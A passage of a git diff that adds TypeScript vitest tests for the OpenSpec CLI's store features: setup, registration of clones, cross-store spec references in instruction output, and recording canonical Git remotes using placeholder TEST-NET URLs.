expect(fs.existsSync(path.join(storeRoot, '.git'))).toBe(true); + const committed = execFileSync('git', ['log', '--format=%s'], { cwd: storeRoot }) + .toString() + .trim(); + expect(committed).toBe('Initialize OpenSpec store interactive-context'); + expect(process.exitCode).toBeUndefined(); + }); + + it('commits the full store shape when initializing Git on an existing root', async () => { + const storeRoot = mkdir('convert-context'); + const gitEnv = { ...env, ...isolatedGitEnv(tempDir) }; + createHealthyOpenSpecRoot(storeRoot); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'specs', 'keep-me.md'), 'user spec\n'); + // Old beta files outside the store shape stay out of the commit. + fs.writeFileSync(path.join(storeRoot, 'workspace.yaml'), 'old: beta\n'); + + const result = await runCLI( + ['store', 'setup', 'convert-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env: gitEnv } + ); + + expect(result.exitCode).toBe(0); + const payload = parseJson(result); + expect(payload.git).toEqual({ + is_repository: true, + initialized: true, + committed: true, + }); + + const committedFiles = execFileSync('git', ['show', '--name-only', '--format=', 'HEAD'], { + cwd: storeRoot, + }) + .toString() + .trim() + .split('\n') + .sort(); + expect(committedFiles).toEqual([ + '.openspec-store/store.yaml', + 'openspec/changes/archive/.gitkeep', + 'openspec/config.yaml', + 'openspec/specs/keep-me.md', + ]); + + // A clone of the converted store is immediately a healthy root. + const cloneRoot = path.join(tempDir, 'convert-clone'); + execFileSync('git', ['clone', storeRoot, cloneRoot], { + env: { ...process.env, ...gitEnv }, + stdio: 'ignore', + }); + for (const required of [ + 'openspec/config.yaml', + 'openspec/specs/keep-me.md', + 'openspec/changes/archive/.gitkeep', + '.openspec-store/store.yaml', + ]) { + expect(fs.existsSync(path.join(cloneRoot, required))).toBe(true); + } + expect(fs.existsSync(path.join(cloneRoot, 'workspace.yaml'))).toBe(false); + }); + + it('registers a clone before any changes exist', async () => { + const storeRoot = mkdir('empty-team-context'); + const cloneRoot = path.join(tempDir, 'empty-team-clone'); + const gitEnv = { ...env, ...isolatedGitEnv(tempDir) }; + const gitExecEnv = { ...process.env, ...gitEnv }; + const teammateEnv = { + ...gitEnv, + XDG_DATA_HOME: path.join(tempDir, 'empty-teammate-data'), + XDG_CONFIG_HOME: path.join(tempDir, 'empty-teammate-config'), + }; + fs.mkdirSync(path.join(storeRoot, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'empty-team-context' }); + execFileSync('git', ['init'], { cwd: storeRoot, stdio: 'ignore' }); + execFileSync('git', ['add', '-A'], { cwd: storeRoot, env: gitExecEnv }); + execFileSync('git', ['commit', '-m', 'initialize empty store'], { + cwd: storeRoot, + env: gitExecEnv, + stdio: 'ignore', + }); + + execFileSync('git', ['clone', storeRoot, cloneRoot], { + env: gitExecEnv, + stdio: 'ignore', + }); + expect(fs.existsSync(path.join(cloneRoot, 'openspec', 'changes'))).toBe(false); + expect(fs.existsSync(path.join(cloneRoot, 'openspec', 'specs'))).toBe(false); + + const registered = await runCLI(['store', 'register', cloneRoot, '--json'], { + cwd: tempDir, + env: teammateEnv, + }); + expect(registered.exitCode).toBe(0); + expect(parseJson(registered).store.id).toBe('empty-team-context'); + }); + + it('registers a clone with active changes before specs or archive exist', async () => { + const storeRoot = mkdir('planned-context'); + const cloneRoot = path.join(tempDir, 'planned-clone'); + const gitEnv = { ...env, ...isolatedGitEnv(tempDir) }; + const gitExecEnv = { ...process.env, ...gitEnv }; + const teammateEnv = { + ...gitEnv, + XDG_DATA_HOME: path.join(tempDir, 'teammate-data'), + XDG_CONFIG_HOME: path.join(tempDir, 'teammate-config'), + }; + fs.mkdirSync(path.join(storeRoot, 'openspec', 'changes', 'add-widget'), { recursive: true }); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'changes', 'add-widget', 'proposal.md'), + '# Proposal\n' + ); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'changes', 'add-widget', 'tasks.md'), + '# Tasks\n' + ); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'planned-context' }); + execFileSync('git', ['init'], { cwd: storeRoot, stdio: 'ignore' }); + execFileSync('git', ['add', '-A'], { cwd: storeRoot, env: gitExecEnv }); + execFileSync('git', ['commit', '-m', 'draft changes'], { + cwd: storeRoot, + env: gitExecEnv, + stdio: 'ignore', + }); + + const committedFiles = execFileSync('git', ['show', '--name-only', '--format=', 'HEAD'], { + cwd: storeRoot, + }) + .toString() + .trim() + .split('\n') + .sort(); + expect(committedFiles).toEqual([ + '.openspec-store/store.yaml', + 'openspec/changes/add-widget/proposal.md', + 'openspec/changes/add-widget/tasks.md', + 'openspec/config.yaml', + ]); + expect(committedFiles).not.toContain('openspec/specs/.gitkeep'); + expect(committedFiles).not.toContain('openspec/changes/archive/.gitkeep'); + + execFileSync('git', ['clone', storeRoot, cloneRoot], { + env: gitExecEnv, + stdio: 'ignore', + }); + expect(fs.existsSync(path.join(cloneRoot, 'openspec', 'specs'))).toBe(false); + expect(fs.existsSync(path.join(cloneRoot, 'openspec', 'changes', 'archive'))).toBe(false); + + const registered = await runCLI(['store', 'register', cloneRoot, '--json'], { + cwd: tempDir, + env: teammateEnv, + }); + expect(registered.exitCode).toBe(0); + expect(parseJson(registered).store.id).toBe('planned-context'); + }); + + it('keeps pre-staged user files out of the setup commit', async () => { + const storeRoot = mkdir('staged-context'); + const gitEnv = { ...env, ...isolatedGitEnv(tempDir) }; + const gitExecEnv = { ...process.env, ...gitEnv }; + createHealthyOpenSpecRoot(storeRoot); + execFileSync('git', ['init'], { cwd: storeRoot, stdio: 'ignore' }); + execFileSync('git', ['add', '-A'], { cwd: storeRoot, env: gitExecEnv }); + execFileSync('git', ['commit', '-m', 'user base'], { cwd: storeRoot, env: gitExecEnv, stdio: 'ignore' }); + fs.writeFileSync(path.join(storeRoot, 'user-staged.txt'), 'user work\n'); + execFileSync('git', ['add', 'user-staged.txt'], { cwd: storeRoot, env: gitExecEnv }); + + const result = await runCLI( + ['store', 'setup', 'staged-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env: gitEnv } + ); + + expect(result.exitCode).toBe(0); + expect(parseJson(result).git.committed).toBe(true); + + const committedFiles = execFileSync('git', ['show', '--name-only', '--format=', 'HEAD'], { + cwd: storeRoot, + }) + .toString() + .trim() + .split('\n') + .sort(); + expect(committedFiles).toEqual([ + '.openspec-store/store.yaml', + 'openspec/changes/archive/.gitkeep', + 'openspec/specs/.gitkeep', + ]); + + // The user's staged file stays staged and uncommitted. + const staged = execFileSync('git', ['status', '--porcelain'], { cwd: storeRoot }).toString(); + expect(staged).toContain('A user-staged.txt'); + + // Reruns stay strict no-ops: no new files, no new commit. + const rerun = await runCLI( + ['store', 'setup', 'staged-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env: gitEnv } + ); + expect(rerun.exitCode).toBe(0); + const rerunPayload = parseJson(rerun); + expect(rerunPayload.created_files).toEqual([]); + expect(rerunPayload.git.committed).toBe(false); + const commitCount = execFileSync('git', ['rev-list', '--count', 'HEAD'], { cwd: storeRoot }) + .toString() + .trim(); + expect(commitCount).toBe('2'); + }); + + it('flags clone-fragile directories and commitless clones', async () => { + const storeRoot = mkdir('fragile-context'); + const gitExecEnv = { ...process.env, ...isolatedGitEnv(tempDir) }; + createHealthyOpenSpecRoot(storeRoot); + execFileSync('git', ['init'], { cwd: storeRoot, stdio: 'ignore' }); + execFileSync('git', ['add', 'openspec/config.yaml'], { cwd: storeRoot, env: gitExecEnv }); + execFileSync('git', ['commit', '-m', 'partial'], { cwd: storeRoot, env: gitExecEnv, stdio: 'ignore' }); + await writeStoreMetadataState(storeRoot, { version: 1, id: 'fragile-context' }); + await writeStoreRegistryState( + { + version: 1, + stores: { + 'fragile-context': { + backend: { type: 'git', local_path: storeRoot }, + }, + }, + }, + { globalDataDir } + ); + + const doctor = await runCLI(['store', 'doctor', 'fragile-context', '--json'], { + cwd: tempDir, + env, + }); + expect(doctor.exitCode).toBe(0); + const store = parseJson(doctor).stores[0]; + expect(store.git.has_commits).toBe(true); + expect(store.status).toEqual([ + expect.objectContaining({ + severity: 'warning', + code: 'store_clone_fragile_directories', + message: expect.stringContaining('openspec/specs/'), + }), + ]); + + // A commitless clone refuses register with the empty-clone explanation. + const emptyClone = mkdir('empty-clone'); + execFileSync('git', ['init'], { cwd: emptyClone, stdio: 'ignore' }); + const register = await runCLI(['store', 'register', emptyClone, '--json'], { + cwd: tempDir, + env, + }); + expect(register.exitCode).toBe(1); + const registerStatus = parseJson(register).status[0]; + expect(registerStatus.code).toBe('store_register_root_unhealthy'); + expect(registerStatus.message).toContain('no commits'); + expect(registerStatus.fix).toBe( + 'If this is a store clone: commit and push the origin store, pull it into this clone, then rerun register.' + ); + }); +}); diff --git a/test/commands/store-references.test.ts b/test/commands/store-references.test.ts new file mode 100644 index 0000000000..a93a103b0d --- /dev/null +++ b/test/commands/store-references.test.ts @@ -0,0 +1,267 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { snapshotDirectory as snapshot } from '../helpers/fs-snapshot.js'; +import { createOpenSpecRoot, writeSpec } from '../helpers/openspec-fixtures.js'; + +describe('store references in instructions (3.1)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let appRepo: string; + let storeRoot: string; + + beforeEach(async () => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-refs-')); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + storeRoot = path.join(tempDir, 'team-context'); + createOpenSpecRoot(storeRoot); + writeSpec(storeRoot, 'billing', '## Purpose\n\nUsage-based invoicing.\n\n## Requirements\n\n- r\n'); + await registerStore({ id: 'team-context', localPath: storeRoot, globalDataDir }); + + appRepo = path.join(tempDir, 'app-repo'); + createOpenSpecRoot(appRepo); + fs.writeFileSync( + path.join(appRepo, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - team-context\n' + ); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + async function createChange(cwd: string, name: string, extraArgs: string[] = []) { + const result = await runCLI(['new', 'change', name, '--json', ...extraArgs], { cwd, env }); + expect(result.exitCode).toBe(0); + } + + it('carries the live index in both instruction surfaces, both modes', async () => { + await createChange(appRepo, 'billing-rework'); + + const artifactJson = await runCLI( + ['instructions', 'proposal', '--change', 'billing-rework', '--json'], + { cwd: appRepo, env } + ); + expect(artifactJson.exitCode).toBe(0); + const payload = parseJson(artifactJson); + expect(payload.references).toEqual([ + { + store_id: 'team-context', + root: fs.realpathSync.native(storeRoot), + specs: [{ id: 'billing', summary: 'Usage-based invoicing.' }], + fetch: 'openspec show <spec-id> --type spec --store team-context', + status: [], + }, + ]); + // Index, not inline: the spec body never appears in the output. + expect(artifactJson.stdout).not.toContain('## Requirements'); + + const artifactHuman = await runCLI( + ['instructions', 'proposal', '--change', 'billing-rework'], + { cwd: appRepo, env } + ); + expect(artifactHuman.stdout).toContain('<referenced_stores>'); + expect(artifactHuman.stdout).toContain(' - billing: Usage-based invoicing.'); + + const applyJson = await runCLI( + ['instructions', 'apply', '--change', 'billing-rework', '--json'], + { cwd: appRepo, env } + ); + expect(parseJson(applyJson).references[0].store_id).toBe('team-context'); + + const applyHuman = await runCLI(['instructions', 'apply', '--change', 'billing-rework'], { + cwd: appRepo, + env, + }); + expect(applyHuman.stdout).toContain('### Referenced Stores'); + }); + + it('reflects live store edits on every run - nothing is frozen', async () => { + await createChange(appRepo, 'billing-rework'); + + writeSpec(storeRoot, 'billing', '## Purpose\n\nRewritten upstream truth.\n'); + const result = await runCLI( + ['instructions', 'proposal', '--change', 'billing-rework', '--json'], + { cwd: appRepo, env } + ); + + expect(parseJson(result).references[0].specs[0].summary).toBe('Rewritten upstream truth.'); + }); + + it('omits the references field entirely when none are declared', async () => { + fs.writeFileSync(path.join(appRepo, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + await createChange(appRepo, 'plain-change'); + + const result = await runCLI( + ['instructions', 'proposal', '--change', 'plain-change', '--json'], + { cwd: appRepo, env } + ); + + expect('references' in parseJson(result)).toBe(false); + }); + + it('omits the references field when the only declaration is a self-reference', async () => { + // A store whose config copy-pasted its own id: the omitted-not-empty + // contract must hold so field presence stays a reliable signal. + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - team-context\n' + ); + await createChange(appRepo, 'self-ref-change', ['--store', 'team-context']); + + const result = await runCLI( + ['instructions', 'proposal', '--change', 'self-ref-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + + expect(result.exitCode).toBe(0); + expect('references' in parseJson(result)).toBe(false); + }); + + it('reads the resolved root config for --store sessions (symmetric declarations)', async () => { + // The store declares its own upstream reference; the cwd declares a + // different one. With --store, the index must be the store's. + const upstreamRoot = path.join(tempDir, 'upstream-context'); + createOpenSpecRoot(upstreamRoot); + writeSpec(upstreamRoot, 'platform-rules', '## Purpose\n\nPlatform rules.\n'); + await registerStore({ id: 'upstream-context', localPath: upstreamRoot, globalDataDir }); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - upstream-context\n' + ); + + await createChange(appRepo, 'store-scoped', ['--store', 'team-context']); + const result = await runCLI( + ['instructions', 'proposal', '--change', 'store-scoped', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + + const refs = parseJson(result).references; + expect(refs.map((entry: any) => entry.store_id)).toEqual(['upstream-context']); + }); + + it('never follows a referenced store\'s own references (one level deep)', async () => { + const upstreamRoot = path.join(tempDir, 'upstream-context'); + createOpenSpecRoot(upstreamRoot); + await registerStore({ id: 'upstream-context', localPath: upstreamRoot, globalDataDir }); + // team-context references upstream-context; the app repo references + // only team-context. upstream-context must not appear. + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - upstream-context\n' + ); + + await createChange(appRepo, 'billing-rework'); + const result = await runCLI( + ['instructions', 'proposal', '--change', 'billing-rework', '--json'], + { cwd: appRepo, env } + ); + + const refs = parseJson(result).references; + expect(refs.map((entry: any) => entry.store_id)).toEqual(['team-context']); + }); + + it('keeps non-instruction commands byte-identical and the store untouched', async () => { + const plainRepo = path.join(tempDir, 'plain-repo'); + createOpenSpecRoot(plainRepo); + + const storeBefore = snapshot(storeRoot); + const outputs: Record<string, string[]> = {}; + + for (const [label, repo] of [ + ['referenced', appRepo], + ['plain', plainRepo], + ] as const) { + await createChange(repo, 'parity-check'); + const status = await runCLI(['status', '--change', 'parity-check', '--json'], { + cwd: repo, + env, + }); + expect(status.exitCode).toBe(0); + const payload = parseJson(status); + // Normalize the only legitimately differing content (the repo path). + // The needle must match the JSON-escaped spelling (backslashes are + // doubled in serialized Windows paths). + const normalize = (value: unknown) => + JSON.stringify(value) + .split(JSON.stringify(fs.realpathSync.native(repo)).slice(1, -1)) + .join('<root>'); + outputs[label] = [ + normalize(payload.artifacts), + normalize(payload.actionContext), + String('references' in payload), + ]; + } + + expect(outputs.referenced).toEqual(outputs.plain); + expect(snapshot(storeRoot)).toEqual(storeBefore); + // No per-change link metadata in the app repo's change. + const metadataPath = path.join( + appRepo, + 'openspec', + 'changes', + 'parity-check', + '.openspec.yaml' + ); + if (fs.existsSync(metadataPath)) { + expect(fs.readFileSync(metadataPath, 'utf-8')).not.toContain('reference'); + } + }); + + it('completes the PM-to-dev layered flow end to end', async () => { + await createChange(appRepo, 'billing-rework'); + + // The agent reads the index and runs the printed fetch verbatim. + const instructions = await runCLI( + ['instructions', 'proposal', '--change', 'billing-rework', '--json'], + { cwd: appRepo, env } + ); + const fetch = parseJson(instructions).references[0].fetch.replace('<spec-id>', 'billing'); + const fetchResult = await runCLI(fetch.split(' ').slice(1), { cwd: appRepo, env }); + expect(fetchResult.exitCode).toBe(0); + expect(fetchResult.stdout).toContain('Usage-based invoicing.'); + + // The design lands in the app repo's own root, citing the store spec. + const changeDir = path.join(appRepo, 'openspec', 'changes', 'billing-rework'); + fs.writeFileSync( + path.join(changeDir, 'proposal.md'), + '## Why\n\nDerives from team-context/billing (see referenced stores).\n\n## What Changes\n\n- **invoicing:** Rework invoicing\n' + ); + const deltaDir = path.join(changeDir, 'specs', 'invoicing'); + fs.mkdirSync(deltaDir, { recursive: true }); + fs.writeFileSync( + path.join(deltaDir, 'spec.md'), + '## ADDED Requirements\n\n### Requirement: Invoicing SHALL follow team-context/billing\nThe system SHALL invoice per the upstream requirement (team-context/billing).\n\n#### Scenario: Invoices\n- **WHEN** a period ends\n- **THEN** an invoice is created\n' + ); + + const storeBefore = snapshot(storeRoot); + const validate = await runCLI(['validate', 'billing-rework', '--json', '--no-interactive'], { + cwd: appRepo, + env, + }); + expect(validate.exitCode).toBe(0); + const status = await runCLI(['status', '--change', 'billing-rework', '--json'], { + cwd: appRepo, + env, + }); + expect(status.exitCode).toBe(0); + expect(snapshot(storeRoot)).toEqual(storeBefore); + }); + +}); diff --git a/test/commands/store-remote.test.ts b/test/commands/store-remote.test.ts new file mode 100644 index 0000000000..b51282c5a4 --- /dev/null +++ b/test/commands/store-remote.test.ts @@ -0,0 +1,480 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { execFileSync } from 'node:child_process'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + getGlobalDataDir, + readStoreRegistryState, + parseStoreMetadataState, + serializeStoreMetadataState, +} from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createHealthyOpenSpecRoot, isolatedGitEnv } from '../helpers/store-git.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +const TEST_NET_URL = 'https://192.0.2.1/acme/team-context.git'; +const GIT_JOURNEY_TIMEOUT_MS = 60_000; + +describe('store canonical remote (3.3)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-remote-')); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + ...isolatedGitEnv(tempDir), + }; + globalDataDir = getGlobalDataDir({ env }); + }); + + afterEach(() => { + cleanupTempPath(tempDir); + }); + + function git(cwd: string, ...args: string[]): string { + return execFileSync('git', args, { cwd, env: { ...process.env, ...env }, encoding: 'utf-8' }); + } + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + async function registryRemote(id: string): Promise<string | undefined> { + const registry = await readStoreRegistryState({ globalDataDir }); + const entry = registry?.stores?.[id]; + return entry && entry.backend.type === 'git' ? entry.backend.remote : undefined; + } + + describe('metadata round-trip', () => { + it('serializes and parses the optional remote', () => { + const withRemote = serializeStoreMetadataState({ + version: 1, + id: 'team-context', + remote: TEST_NET_URL, + }); + expect(withRemote).toContain(`remote: ${TEST_NET_URL}`); + expect(parseStoreMetadataState(withRemote)).toEqual({ + version: 1, + id: 'team-context', + remote: TEST_NET_URL, + }); + + const without = serializeStoreMetadataState({ version: 1, id: 'team-context' }); + expect(without).not.toContain('remote'); + expect(parseStoreMetadataState(without)).toEqual({ version: 1, id: 'team-context' }); + }); + + it('keeps strictness: pre-3.3 files parse, unknown keys and empty remotes fail', () => { + expect(parseStoreMetadataState('version: 1\nid: old-context\n')).toEqual({ + version: 1, + id: 'old-context', + }); + expect(() => parseStoreMetadataState('version: 1\nid: x\nremot: typo\n')).toThrow(); + expect(() => parseStoreMetadataState('version: 1\nid: x\nremote: ""\n')).toThrow(); + }); + }); + + describe('setup', () => { + it('records --remote in store.yaml inside the initial commit', async () => { + const storeRoot = path.join(tempDir, 'team-context'); + const result = await runCLI( + ['store', 'setup', 'team-context', '--path', storeRoot, '--remote', TEST_NET_URL, '--json'], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(0); + + const committed = git(storeRoot, 'show', 'HEAD:.openspec-store/store.yaml'); + expect(committed).toContain(`remote: ${TEST_NET_URL}`); + expect(committed).toBe( + fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8') + ); + // Setup observes no origin on a fresh init. + expect(await registryRemote('team-context')).toBeUndefined(); + }); + + it('fails on an empty --remote before creating anything', async () => { + const storeRoot = path.join(tempDir, 'empty-remote'); + const result = await runCLI( + ['store', 'setup', 'empty-remote', '--path', storeRoot, '--remote', '', '--json'], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(1); + expect(fs.existsSync(storeRoot)).toBe(false); + }); + + it('refuses --remote when store.yaml already exists, naming the hand-edit', async () => { + const storeRoot = path.join(tempDir, 'retrofit-context'); + await runCLI(['store', 'setup', 'retrofit-context', '--path', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + const before = fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8'); + + const result = await runCLI( + ['store', 'setup', 'retrofit-context', '--path', storeRoot, '--remote', TEST_NET_URL, '--json'], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(1); + const status = parseJson(result).status; + expect(status[0].code).toBe('store_remote_requires_hand_edit'); + expect(status[0].fix).toContain(path.join('.openspec-store', 'store.yaml')); + expect(fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8')).toBe( + before + ); + }); + + it('produces byte-identical store.yaml without --remote', async () => { + const storeRoot = path.join(tempDir, 'plain-context'); + await runCLI(['store', 'setup', 'plain-context', '--path', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + expect( + fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8') + ).toBe('version: 1\nid: plain-context\n'); + }); + + it('records the remote without a commit under --no-init-git', async () => { + const storeRoot = path.join(tempDir, 'no-git-context'); + const result = await runCLI( + [ + 'store', 'setup', 'no-git-context', '--path', storeRoot, + '--remote', TEST_NET_URL, '--no-init-git', '--json', + ], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(0); + expect( + fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8') + ).toContain(`remote: ${TEST_NET_URL}`); + expect(fs.existsSync(path.join(storeRoot, '.git'))).toBe(false); + }); + + it('prints the canonical remote in the sharing guidance', async () => { + const storeRoot = path.join(tempDir, 'shared-context'); + const result = await runCLI( + ['store', 'setup', 'shared-context', '--path', storeRoot, '--remote', TEST_NET_URL], + { cwd: tempDir, env } + ); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain(`Share it: teammates clone ${TEST_NET_URL}`); + }); + }); + + describe('register', () => { + function makeUnregisteredStore(name: string, options: { origin?: string; metadataRemote?: string } = {}): string { + const storeRoot = path.join(tempDir, name); + createHealthyOpenSpecRoot(storeRoot); + fs.mkdirSync(path.join(storeRoot, '.openspec-store'), { recursive: true }); + fs.writeFileSync( + path.join(storeRoot, '.openspec-store', 'store.yaml'), + `version: 1\nid: ${name}\n` + + (options.metadataRemote ? `remote: ${options.metadataRemote}\n` : '') + ); + git(storeRoot, 'init'); + if (options.origin) { + git(storeRoot, 'remote', 'add', 'origin', options.origin); + } + git(storeRoot, 'add', '-A'); + git(storeRoot, 'commit', '-m', 'init'); + return storeRoot; + } + + it('records the observed origin read-only and refreshes on re-register', async () => { + const storeRoot = makeUnregisteredStore('cloned-context', { origin: TEST_NET_URL }); + const metadataBefore = fs.readFileSync( + path.join(storeRoot, '.openspec-store', 'store.yaml'), + 'utf-8' + ); + const headBefore = git(storeRoot, 'rev-parse', 'HEAD').trim(); + + const result = await runCLI(['store', 'register', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + expect(await registryRemote('cloned-context')).toBe(TEST_NET_URL); + // Read-only: no metadata change, no commit. + expect( + fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8') + ).toBe(metadataBefore); + expect(git(storeRoot, 'rev-parse', 'HEAD').trim()).toBe(headBefore); + + // No-op rerun preserves the remote. + const rerun = await runCLI(['store', 'register', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + expect(parseJson(rerun).registry.already_registered).toBe(true); + expect(await registryRemote('cloned-context')).toBe(TEST_NET_URL); + + // Origin change + re-register refreshes the record. + git(storeRoot, 'remote', 'set-url', 'origin', 'https://192.0.2.2/moved.git'); + await runCLI(['store', 'register', storeRoot, '--json'], { cwd: tempDir, env }); + expect(await registryRemote('cloned-context')).toBe('https://192.0.2.2/moved.git'); + }); + + it('leaves the registry remote unset without an origin', async () => { + const storeRoot = makeUnregisteredStore('local-only-context'); + await runCLI(['store', 'register', storeRoot, '--json'], { cwd: tempDir, env }); + expect(await registryRemote('local-only-context')).toBeUndefined(); + }); + + it('keeps conversion-created metadata remote-free', async () => { + const storeRoot = path.join(tempDir, 'convert-context'); + createHealthyOpenSpecRoot(storeRoot); + git(storeRoot, 'init'); + git(storeRoot, 'remote', 'add', 'origin', TEST_NET_URL); + git(storeRoot, 'add', '-A'); + git(storeRoot, 'commit', '-m', 'init'); + + const result = await runCLI(['store', 'register', storeRoot, '--yes', '--json'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + expect( + fs.readFileSync(path.join(storeRoot, '.openspec-store', 'store.yaml'), 'utf-8') + ).toBe('version: 1\nid: convert-context\n'); + expect(await registryRemote('convert-context')).toBe(TEST_NET_URL); + }); + + it('falls back to the observed origin in sharing guidance', async () => { + const storeRoot = makeUnregisteredStore('origin-only-context', { origin: TEST_NET_URL }); + const result = await runCLI(['store', 'register', storeRoot], { cwd: tempDir, env }); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain(`Share it: teammates clone ${TEST_NET_URL}`); + }); + + it('prefers the canonical remote over the origin in sharing guidance', async () => { + const canonical = 'https://192.0.2.9/canonical.git'; + const storeRoot = makeUnregisteredStore('canon-context', { + origin: TEST_NET_URL, + metadataRemote: canonical, + }); + const result = await runCLI(['store', 'register', storeRoot], { cwd: tempDir, env }); + expect(result.stdout).toContain(`Share it: teammates clone ${canonical}`); + }); + }); + + describe('rerun and refresh reporting', () => { + it('keeps setup reruns as no-ops that preserve the observed remote', async () => { + // Build a store whose checkout has an origin, register it via + // setup, then rerun setup: the registry remote must survive and + // the rerun must report already_registered. + const storeRoot = path.join(tempDir, 'rerun-context'); + createHealthyOpenSpecRoot(storeRoot); + git(storeRoot, 'init'); + git(storeRoot, 'remote', 'add', 'origin', TEST_NET_URL); + git(storeRoot, 'add', '-A'); + git(storeRoot, 'commit', '-m', 'init'); + + const first = await runCLI( + ['store', 'setup', 'rerun-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env } + ); + expect(first.exitCode).toBe(0); + expect(await registryRemote('rerun-context')).toBe(TEST_NET_URL); + + const rerun = await runCLI( + ['store', 'setup', 'rerun-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env } + ); + expect(rerun.exitCode).toBe(0); + expect(parseJson(rerun).registry.already_registered).toBe(true); + expect(await registryRemote('rerun-context')).toBe(TEST_NET_URL); + }); + + it('reports already_registered when a later origin merely backfills the record', async () => { + // Register before any origin exists, follow the product's own + // sharing guidance (add a remote), rerun: the entry refreshes but + // the user still sees a rerun, not a fresh registration. + const storeRoot = path.join(tempDir, 'backfill-context'); + await runCLI(['store', 'setup', 'backfill-context', '--path', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + expect(await registryRemote('backfill-context')).toBeUndefined(); + + git(storeRoot, 'remote', 'add', 'origin', TEST_NET_URL); + const rerun = await runCLI( + ['store', 'setup', 'backfill-context', '--path', storeRoot, '--json'], + { cwd: tempDir, env } + ); + expect(rerun.exitCode).toBe(0); + expect(parseJson(rerun).registry.already_registered).toBe(true); + expect(await registryRemote('backfill-context')).toBe(TEST_NET_URL); + }); + + it('never records an enclosing repo origin for a non-repo store folder', async () => { + // git -C walks up: a store folder nested in another repo must not + // inherit that repo's origin into the registry. + const outerRepo = path.join(tempDir, 'monorepo'); + fs.mkdirSync(outerRepo, { recursive: true }); + git(outerRepo, 'init'); + git(outerRepo, 'remote', 'add', 'origin', 'https://192.0.2.7/monorepo.git'); + + const storeRoot = path.join(outerRepo, 'team-specs'); + createHealthyOpenSpecRoot(storeRoot); + fs.mkdirSync(path.join(storeRoot, '.openspec-store'), { recursive: true }); + fs.writeFileSync( + path.join(storeRoot, '.openspec-store', 'store.yaml'), + 'version: 1\nid: team-specs\n' + ); + + const result = await runCLI(['store', 'register', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + expect(await registryRemote('team-specs')).toBeUndefined(); + const human = await runCLI(['store', 'register', storeRoot], { cwd: tempDir, env }); + expect(human.stdout).not.toContain('192.0.2.7'); + }); + }); + + describe('onboarding end to end', () => { + it('executes the printed clone fix verbatim and continues to a resolved index', async () => { + // A scratch HOME keeps the rendered <home>/openspec/<id> checkout + // path inside the temp dir for both the fix text and the CLI. + const scratchHome = path.join(tempDir, 'home'); + fs.mkdirSync(scratchHome, { recursive: true }); + // os.homedir() reads 